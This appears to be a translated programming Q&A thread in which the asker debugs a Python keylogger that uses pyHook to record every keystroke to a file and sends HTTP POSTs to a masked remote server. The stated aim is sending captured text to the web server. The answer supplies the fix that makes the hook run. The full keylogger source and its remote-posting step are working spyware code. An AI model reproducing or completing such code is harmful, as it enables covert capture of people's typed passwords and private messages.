【问题标题】:Python keylogger: an integer is requiredPython键盘记录器:需要一个整数
【发布时间】:2015-06-08 18:32:18
【问题描述】:

我正在尝试制作一个将文本发送到网络服务器的键盘记录器。使用 pyHook 和 httplib2,我能够成功地让它们分开工作。但是,当我尝试将两者结合起来时,出现错误:

An integer is required

老实说,我不知道为什么会这样。这两个功能都是自己工作的,为什么我不能把它们结合起来呢?有什么建议吗?

谢谢!

import pyHook
import pythoncom
import time
from httplib2 import Http
from urllib import urlencode

h = Http()

log_file = "control.txt"        
message = ""
f = open(log_file,"a")
def pressed_chars(event):
    if event.Ascii:
        global message
        char = chr(event.Ascii)
        if char == "q":
            f.close()
            exit()
        if event.Ascii == 13:
            f.write("\n")
            data = dict(cmd="openurl")
            testVar = h.request("http://www.**********/submit.php", "POST", urlencode(data))
            message = ""
        f.write(char) 
        message = message+char
        print(message)

proc = pyHook.HookManager()
proc.KeyDown = pressed_chars
proc.HookKeyboard()
pythoncom.PumpMessages()  

【问题讨论】:

    标签: python-2.7 http urllib keylogger pyhook


    【解决方案1】:

    您似乎没有在 pressed_chars 中返回 True 。尝试添加行return True 看看是否有效!

    【讨论】:

    • 由于某种原因,如果你不返回任何东西,pyHook 会给出不正确的回溯,对我来说 time.sleep 需要一个整数
    猜你喜欢
    • 1970-01-01
    • 2023-03-07
    • 1970-01-01
    • 1970-01-01
    • 2015-07-14
    • 1970-01-01
    • 1970-01-01
    • 2017-12-08
    • 1970-01-01
    相关资源
    最近更新 更多